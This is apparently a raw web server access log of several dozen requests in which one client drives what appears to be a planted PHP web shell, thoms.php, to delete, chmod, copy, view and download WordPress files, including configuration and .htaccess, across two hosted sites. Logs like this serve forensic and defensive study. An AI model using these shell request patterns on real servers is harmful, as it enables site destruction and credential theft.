45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?del=wp-admin&p=big-wife.com.tw HTTP/1.1" 200 17372 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?del=license.txt&p=big-wife.com.tw HTTP/1.1" 200 17372 "http://163.245.207.76:443/thoms.php?del=license.txt&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=big-wife.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?del=wp-blog-header.php&p=big-wife.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?del=wp-links-opml.php&p=big-wife.com.tw HTTP/1.1" 200 17371 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /big-wife.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /big-wife.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p= HTTP/1.1" 200 11663 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13110 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?chmod=wp-signup.php&p=big-wife.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?chmod=.htaccess&p=big-wife.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /thoms.php?dl=locoy.php&p=big-wife.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /big-wife.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /thoms.php?chmod=wp-load.php&p=big-wife.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /thoms.php?dl=wp-activate.php&p=big-wife.com.tw HTTP/1.1" 200 17368 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /thoms.php?chmod=.well-known&p=big-wife.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=big-wife.com.tw HTTP/1.1" 200 17369 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /thoms.php?del=wp-cron.php&p=big-wife.com.tw HTTP/1.1" 200 17368 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /thoms.php?del=wp-mail.php&p=big-wife.com.tw HTTP/1.1" 200 17368 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /big-wife.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /big-wife.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /thoms.php?dl=wp-settings.php&p=big-wife.com.tw HTTP/1.1" 200 17368 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /big-wife.com.tw/wp-login.php HTTP/1.1" 404 11320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /thoms.php?dl=.htaccess&p=big-wife.com.tw HTTP/1.1" 200 17357 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /thoms.php?del=index.php&p=big-wife.com.tw HTTP/1.1" 200 17356 "http://163.245.207.76:443/thoms.php?del=index.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:08 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-signup.php HTTP/1.1" 200 22511 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /big-wife.com.tw/wp-includes/ HTTP/1.1" 200 9263 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /big-wife.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13033 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /big-wife.com.tw/text-kernel/ HTTP/1.1" 200 6350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /thoms.php?chmod=wp-activate.php&p=big-wife.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /big-wife.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /big-wife.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-load.php HTTP/1.1" 200 13657 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /thoms.php?p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 12588 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /thoms.php?chmod=upgrade&p=big-wife.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /big-wife.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /thoms.php?del=upgrade&p=big-wife.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=upgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /thoms.php?p=big-wife.com.tw&view=mah.php HTTP/1.1" 200 11810 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:09 -0400] "GET /thoms.php?dl=thoms.php&p=big-wife.com.tw HTTP/1.1" 200 17366 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=big-wife.com.tw HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /bossini.com.tw/upgrade/ HTTP/1.1" 200 6795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?chmod=bridge-archive&p=bossini.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=bridge-archive&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p= HTTP/1.1" 200 11675 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?chmod=wp-includes&p=bossini.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?chmod=error_log&p=bossini.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bossini.com.tw HTTP/1.1" 200 17600 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bossini.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-mail.php HTTP/1.1" 200 15347 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?dl=error_log&p=bossini.com.tw HTTP/1.1" 200 17602 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bossini.com.tw HTTP/1.1" 200 17598 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?p=bossini.com.tw&view=xmlrpc.php HTTP/1.1" 200 13376 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /bossini.com.tw/bridge-archive/ HTTP/1.1" 200 6351 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /bossini.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /thoms.php?p=bossini.com.tw&settings=1 HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:10 -0400] "GET /bossini.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /bossini.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /thoms.php?del=readme.html&p=bossini.com.tw HTTP/1.1" 200 17601 "http://163.245.207.76:443/thoms.php?del=readme.html&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11678 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13029 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /bossini.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bossini.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /thoms.php?p=bossini.com.tw&upload= HTTP/1.1" 200 12161 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /bossini.com.tw/filefuns.php HTTP/1.1" 200 28 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13733 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11662 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:11 -0400] "GET /thoms.php?p=bossini.com.tw&view=thoms.php HTTP/1.1" 200 11819 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13105 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?del=wp-includes&p=bossini.com.tw HTTP/1.1" 200 17597 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /bossini.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?chmod=.htaccess&p=bossini.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?del=mah.php&p=bossini.com.tw HTTP/1.1" 200 17595 "http://163.245.207.76:443/thoms.php?del=mah.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
